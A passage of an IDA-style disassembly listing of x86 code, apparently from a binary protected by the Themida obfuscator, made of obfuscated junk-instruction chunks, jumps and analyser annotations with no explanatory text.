		add	ebp, 4
		push	edi
		push	ecx
		mov	ecx, 6A461BD7h
		xor	ecx, 68827FB0h
		jmp	loc_59A622
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------


loc_59C64C:				; CODE XREF: Themida_:005A16A0j
		mov	esi, 4
		jmp	loc_59BDEF
; ---------------------------------------------------------------------------


loc_59C656:				; CODE XREF: Themida_:005A5B78j
		and	ecx, 32C34A4Ah
		neg	ecx
		xor	ecx, 0A582CBFDh
		jmp	loc_5A01C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D180


loc_59C669:				; CODE XREF: sub_59D180+EE8Bj
		pop	ecx
		sub	eax, 4
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D180

; =============== S U B	R O U T	I N E =======================================



sub_59C683	proc near		; CODE XREF: sub_59D99C+1ABCj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00599EB8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F206 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A096D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A6CC3 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A7BE2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A91F2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9FCD SIZE 00000008 BYTES

		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	edx
		mov	edx, 7A694427h
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		push	4C7Eh
		mov	[esp+14h+var_14], eax
		jmp	loc_5A7BE2
sub_59C683	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_59C6A6:				; CODE XREF: sub_5991B7+Fj
		pop	esp
		push	1AFDh
		mov	[esp+0], ebx
		push	ecx
		mov	ch, 43h
		shl	ch, 5
		shl	ch, 2
		and	ch, 6
		push	ax
		push	ebx
		jmp	loc_5AC7B9
; END OF FUNCTION CHUNK	FOR sub_5991B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599EF7


loc_59C6C3:				; CODE XREF: sub_599EF7+7783j
		and	ebp, ecx
		mov	ecx, [esp+4+var_4]
		jmp	sub_5AB511
; END OF FUNCTION CHUNK	FOR sub_599EF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BF6A


loc_59C6CD:				; CODE XREF: sub_59BF6A+180Cj
		sub	eax, 0FD83F01h
		add	eax, ebx
		add	eax, 0FD83F01h
		pop	ebx
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp+4+var_4]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59BF6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59C702:				; CODE XREF: sub_59CA4A-3448j
		mov	ecx, 53027AB3h
		sub	ecx, 4B28560Ch
		neg	ecx
		push	425Eh
		mov	[esp+4+var_4], ebp
		mov	ebp, 3EDE73AEh
		and	ecx, ebp
		mov	ebp, [esp+4+var_4]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5A3A56
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59C729:				; CODE XREF: sub_5A3F42-4912j
		pop	ecx
		mov	esi, edi
		pop	edi
		jmp	loc_59B49F
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BB22


loc_59C732:				; CODE XREF: sub_59BB22+18j
		xor	edx, ebp
		mov	ebp, [esp+4+var_4]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5A9CB7
; END OF FUNCTION CHUNK	FOR sub_59BB22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59C73F:				; CODE XREF: sub_5A7343:loc_5A8B43j
		sub	dl, 0F4h
		jbe	loc_5AC198
		jmp	loc_59C279
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
		pop	ecx
		sub	ecx, 25327F07h
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59C755:				; CODE XREF: sub_599059+1414Aj
		xor	edi, [esp-6+arg_0+2]
		mov	esp, [esp-6+arg_0+2]
		jmp	loc_59C4BD
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_59C760:				; CODE XREF: sub_59D7E7+AB50j
		dec	eax
		not	eax
		jmp	loc_5997AB
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59C768:				; CODE XREF: sub_59D99C-17ABj
					; sub_5AC95F-97DAj
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5AE5B4
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_59C773:				; CODE XREF: sub_59AE49+5BE1j
		push	ecx
		mov	ecx, 0C47AD578h
		xor	ebp, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		mov	eax, ebp
		pop	ebp
		add	ebx, eax
		jmp	loc_5AAD3D
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------


loc_59C78B:				; CODE XREF: Themida_:005A0996j
		pop	edi
		sub	eax, ecx
		pop	ecx
		inc	eax
		push	2C90h
		mov	[esp], ecx
		jmp	loc_5A3AFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59C79D:				; CODE XREF: sub_5AC95F-F1ABj
		xor	eax, 3F505319h
		add	eax, 1
		push	ebp
		jmp	loc_5A606C
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_59C7AB:				; CODE XREF: sub_5AEE2E:loc_5A25E5j
					; sub_5A28BE+33AFj
		or	eax, 6BDC2E95h
		add	eax, 0DE70DEE5h
		or	ebx, eax
		jmp	loc_5A23AF
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59C7BC:				; CODE XREF: sub_5986D6+10D03j
		pop	edx
		xor	ecx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ecx
		xor	ecx, [esp+0Ch+var_C]
		jmp	loc_5A027B
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59C7CB:				; CODE XREF: sub_5AEE2E-163A8j
		sub	ebp, 3E566ACCh
		ja	loc_5AC2D9
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		mov	cl, dl
		mov	ebp, ecx


loc_59C7E1:				; CODE XREF: Themida_:00597C23j
		pop	esi
		push	ebp
		jmp	loc_5A9A88
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------


loc_59C7E8:				; CODE XREF: Themida_:005A228Dj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_598D11
; ---------------------------------------------------------------------------


loc_59C808:				; CODE XREF: Themida_:005AAC96j
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5ABBFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59C813:				; CODE XREF: sub_5A8F00:loc_59E656j
					; sub_599059:loc_5A7C76j
		add	edi, 913FF75Fh
		sub	eax, edi
		mov	edi, [esp-6+arg_0+2]
		jmp	loc_59F730
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_59C823:				; CODE XREF: Themida_:005A3E27j
		add	esi, edx
		sub	esi, 32537D9Dh
		push	ebx
		jmp	loc_5A9798
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_59C831:				; CODE XREF: sub_5AE6FD-B189j
		add	esp, 2
		push	eax
		push	ecx
		mov	cl, 2Fh
		or	cl, 42h
		jmp	loc_5A06D9
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59C843:				; CODE XREF: sub_59CA4A+121F2j
		add	esi, 0C5CCA4A0h
		jmp	loc_5A5463
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_59C84E:				; CODE XREF: sub_5A02EA-8384j
		pop	esp
		add	dword ptr [esp+8], 20C41E3h
		sub	[esp+8], ecx
		sub	dword ptr [esp+8], 20C41E3h
		jmp	loc_598ADD
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------


loc_59C868:				; CODE XREF: Themida_:0059E407j
		sub	cl, 0EFh
		jmp	loc_59E580
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59C870:				; CODE XREF: sub_5A8C33-25CEj
		sub	ebx, 3B8C5375h
		jl	loc_5A9639
		inc	ebx
		jmp	loc_5991EF
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5A99A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_59C88E:				; CODE XREF: sub_5A8F00-5662j
		shl	edi, 3
		jns	loc_5A50E9
		inc	edi
		or	edi, 49015511h
		mov	cl, 6Ch
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59C8A1:				; CODE XREF: sub_5A1B2A+651Bj
					; DATA XREF: Themida_:00597B14o
		mov	cx, [esp+0]
		push	7906h
		jmp	loc_5A91FD
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B76


loc_59C8AF:				; CODE XREF: sub_5A9B76+1j
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		add	eax, 4
		jmp	loc_5A07D9
; END OF FUNCTION CHUNK	FOR sub_5A9B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_59C8C1:				; CODE XREF: sub_59D7E7+C1E8j
		mov	eax, 14CE30CFh
		and	ebx, eax
		jmp	loc_5A68C7
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_59C8CD:				; CODE XREF: sub_597F0C+CAEFj
		mov	word ptr [esp+4+var_4],	cx
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A484D


loc_59C8D6:				; CODE XREF: sub_5A484D-8E30j
		jmp	loc_5A598A
; END OF FUNCTION CHUNK	FOR sub_5A484D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_59C8DB:				; CODE XREF: sub_59DBFF+Dj
		or	edx, 6B984F2Ch
		jmp	loc_59AD65
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59C8E6:				; CODE XREF: sub_5A91EC:loc_59A9EEj
					; Themida_:005ADDC7j
		push	esi
		push	edi
		mov	edi, 8F17BC1h
		push	edi
		add	[esp-10h+arg_C], 604670BEh
		pop	esi
		sub	esi, 604670BEh
		pop	edi
		jmp	loc_5A4831
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_59C902:				; CODE XREF: sub_59ACEC+4481j
		mov	ebp, 398E9442h
		jmp	loc_5A7546
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_59C90C:				; CODE XREF: sub_5AB72D:loc_5ABA1Bj
					; sub_5AB72D+29DCj
		sub	esi, 793D647Ah
		xor	esi, 9C1F034Eh
		mov	ecx, esi
		jmp	loc_59A52D
; END OF FUNCTION CHUNK	FOR sub_5AB72D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A03D


loc_59C91F:				; CODE XREF: Themida_:0059E54Aj
					; sub_59A03D+76E8j
		sub	edi, 0FFFFFFFFh
		push	ecx
		jmp	loc_5A9837
; END OF FUNCTION CHUNK	FOR sub_59A03D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_59C928:				; CODE XREF: sub_598D16+CB3j
		mov	ecx, 0C74FE28Ch
		add	esi, ecx
		pop	ecx
		sub	eax, 13807106h
		sub	eax, esi
		add	eax, 13807106h
		mov	esi, [esp+10h+var_10]
		jmp	loc_5AE9A8
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------


loc_59C944:				; CODE XREF: Themida_:0059F77Ej
		xor	ebx, [esp]
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_5AB769
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59C954:				; CODE XREF: sub_5AC95F-47C3j
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esi
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	edi
		push	572Ah
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_5A7615
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_59C975:				; CODE XREF: sub_5A34FD+BE6j
		mov	cl, 22h
		add	al, cl
		jmp	loc_5A1C04
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59C97E:				; CODE XREF: sub_5A7343-44DBj
		xor	edx, 0D9E3C84Ah
		jmp	loc_5AA43C
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59C989:				; CODE XREF: sub_5A1B2A-2B95j
		mov	edi, 0AEF3108h
		xor	esi, edi
		pop	edi
		jmp	loc_5A4D98
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_59C996:				; CODE XREF: Themida_:0059F492j
		push	46C1h
		mov	[esp], eax
		mov	eax, 0ACC20B2h
		jmp	loc_59EFEE
; ---------------------------------------------------------------------------


loc_59C9A8:				; CODE XREF: Themida_:005A6A15j
		pop	eax
		push	11D8h
		mov	[esp], eax
		push	25E360D6h
		pop	eax
		sub	eax, 5C543369h
		xor	eax, 0A92638A2h
		add	edx, eax
		pop	eax
		shr	edx, 2
		jmp	loc_5AC97D
; ---------------------------------------------------------------------------


loc_59C9CC:				; CODE XREF: Themida_:005A2F1Ej
		push	6495h
		mov	[esp], eax
		mov	eax, 35B43C1Ch
		shl	eax, 5
		jnz	loc_59CD78
		sub	eax, 45EC7166h
		mov	ecx, eax
		mov	bh, 79h
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_59C9EC:				; CODE XREF: sub_5A95E0-112B4j
		push	0D2h
		mov	[esp+4+var_4], ecx
		push	800000h
		pop	ecx
		and	eax, ecx
		jmp	loc_5A8BBE
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A00F8


loc_59CA01:				; CODE XREF: sub_5A00F8-64E4j
		sub	eax, ebp
		pop	ebp
		sub	edx, 464B083Ah
		sub	edx, 6496277Ah
		sub	edx, 4B9B4D66h
		add	edx, eax
		add	edx, 4B9B4D66h
		add	edx, 6496277Ah
		add	edx, 464B083Ah
		push	dword ptr [esp+0]
		jmp	loc_5A95C4
; END OF FUNCTION CHUNK	FOR sub_5A00F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F73C


loc_59CA32:				; CODE XREF: sub_59F73C+3j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		pop	[esp-4+arg_0]
		jmp	loc_5A961D
; END OF FUNCTION CHUNK	FOR sub_59F73C

; =============== S U B	R O U T	I N E =======================================



sub_59CA4A	proc near		; CODE XREF: sub_5ABB23-AD60j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00597B81 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598040 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005981A7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005983E1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005991AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005995F5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00599C7A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00599D15 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00599D23 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599E26 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599F7B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059A0A9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059A844 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B2A1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059B86A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059BDB8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C027 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C4EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059C5AA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059C702 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059C843 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059CF28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059D081 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D22C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059D35A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059DBC6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059DE52 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059E190 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059EDB1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F25D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059F650 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A045F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A0499 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2671 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A2D50 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A34A1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A3704 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A3A56 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A3CE6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A46B0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A4CD4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A50E1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5463 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 005A5992 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5C72 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A5CE2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5D1E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A5FC1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A5FFB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A7301 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A796D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A7B31 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005A7F24 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A7F51 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A81E6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A83B4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A8A59 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A8C4D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8D5A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A9733 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A9C25 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AAAE9 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005ABB48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005ABC0A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005ABFD3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AC676 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005ACE04 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AD2B0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AD784 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005ADA7D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AE1CD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AE3FF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AE564 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AEC37 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A7B31
sub_59CA4A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59CA63:				; CODE XREF: sub_5A8C33-F841j
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		add	eax, 29EE2DF5h
		jmp	loc_5A831C
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB531


loc_59CA7C:				; CODE XREF: sub_5AB531+Ej
		sub	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp-8+arg_4], edx
		mov	edx, 77CD6F0Dh
		or	edx, 2823920h
		inc	edx
		jmp	loc_59F8D6
; END OF FUNCTION CHUNK	FOR sub_5AB531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_59CA96:				; CODE XREF: sub_59ACCE+551Fj
		push	edx
		jmp	loc_5A75BA
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59858D


loc_59CA9C:				; CODE XREF: sub_59858D+916Cj
		not	ah
		jmp	loc_59F96A
; END OF FUNCTION CHUNK	FOR sub_59858D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59CAA3:				; CODE XREF: sub_59B707+EC16j
		add	ch, ah
		pop	eax
		sub	bh, ch
		pop	ecx
		add	al, 0FBh
		sub	al, bh
		sub	al, 0FBh
		pop	ebx
		push	small 1AC4h
		mov	word ptr [esp-6+arg_2],	cx
		push	403Eh
		jmp	loc_59BB57
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_59CAC2:				; CODE XREF: Themida_:005AA584j
		push	ecx
		mov	ecx, 32E47ECAh
		mov	ebp, ecx
		pop	ecx
		push	edi
		push	edx
		push	5EFF7849h
		jmp	loc_5A7A95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59CAD7:				; CODE XREF: sub_5A1B2A-5B4Aj
		add	edx, esi
		add	edx, 0C9C233Bh
		jmp	loc_5A3CB9
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59CAE4:				; CODE XREF: sub_5986D6+DF3Aj
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_59CFAD
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59CAF3:				; CODE XREF: sub_5AC95F:loc_5A304Aj
		inc	esi
		jl	loc_5A3091
		sub	esi, 0CB10DD28h
		push	esi
		jmp	loc_59DC19
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_59CB06:				; CODE XREF: sub_59FDC7+4ACEj
		dec	esi
		inc	esi
		jmp	loc_5A7733
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------


loc_59CB0D:				; CODE XREF: Themida_:loc_59C022j
		or	ebp, 113C0537h
		jge	loc_5AEA11
		sub	ebp, 70B31AB0h
		jmp	loc_5AD9FC
; ---------------------------------------------------------------------------
		mov	al, 95h
		mov	ecx, edx
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59CB28:				; CODE XREF: sub_59EE40+E229j
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		push	eax
		push	esp
		mov	eax, [esp+8+var_8]
		jmp	loc_5A518C
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------


loc_59CB44:				; CODE XREF: Themida_:005A6E00j
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_598282
; ---------------------------------------------------------------------------


loc_59CB55:				; CODE XREF: Themida_:0059E9B1j
		pop	ebx
		jmp	loc_5A4EE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59CB5B:				; CODE XREF: sub_59D99C+C7D8j
					; sub_5A7343+3549j
		mov	ebx, eax
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A6567
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F97E


loc_59CB7A:				; CODE XREF: sub_59F97E+6j
		mov	[esp+4+var_4], ebp
		mov	ebp, 4AFA249Eh
		mov	edi, 50EE273Fh
		jmp	loc_5AE773
; END OF FUNCTION CHUNK	FOR sub_59F97E
; ---------------------------------------------------------------------------


loc_59CB8C:				; CODE XREF: Themida_:005A200Cj
		or	bh, ch
		mov	cx, [esp]
		add	esp, 2
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 15h
		add	dh, 33h
		xor	bh, dh
		pop	edx
		jmp	loc_5A4606
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_59CBAB:				; CODE XREF: sub_59F2C8+6023j
		mov	[esp+10h+var_10], edi
		mov	edi, 0E76DB564h
		sub	edx, edi
		pop	edi
		sub	eax, 268E532Bh
		sub	eax, edx
		push	ebp
		jmp	loc_5A239F
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59CBC3:				; CODE XREF: sub_5A7343+5CFBj
		xor	dl, bh
		xor	bh, dl
		jmp	loc_5A830D
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59CBCC:				; CODE XREF: sub_59B707-200Bj
		pop	ebp
		pop	dword ptr [esp+0]
		pop	esp
		xor	esi, [esp-8+arg_2+2]
		xor	[esp-8+arg_2+2], esi
		xor	esi, [esp-8+arg_2+2]
		jmp	loc_5A683C
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_59CBDF:				; CODE XREF: Themida_:0059FA08j
		mov	esp, [esp]
		jmp	loc_5A80A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59CBE7:				; CODE XREF: sub_599059+F44Cj
		pop	esp
		push	14C2h
		jmp	loc_5AE987
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


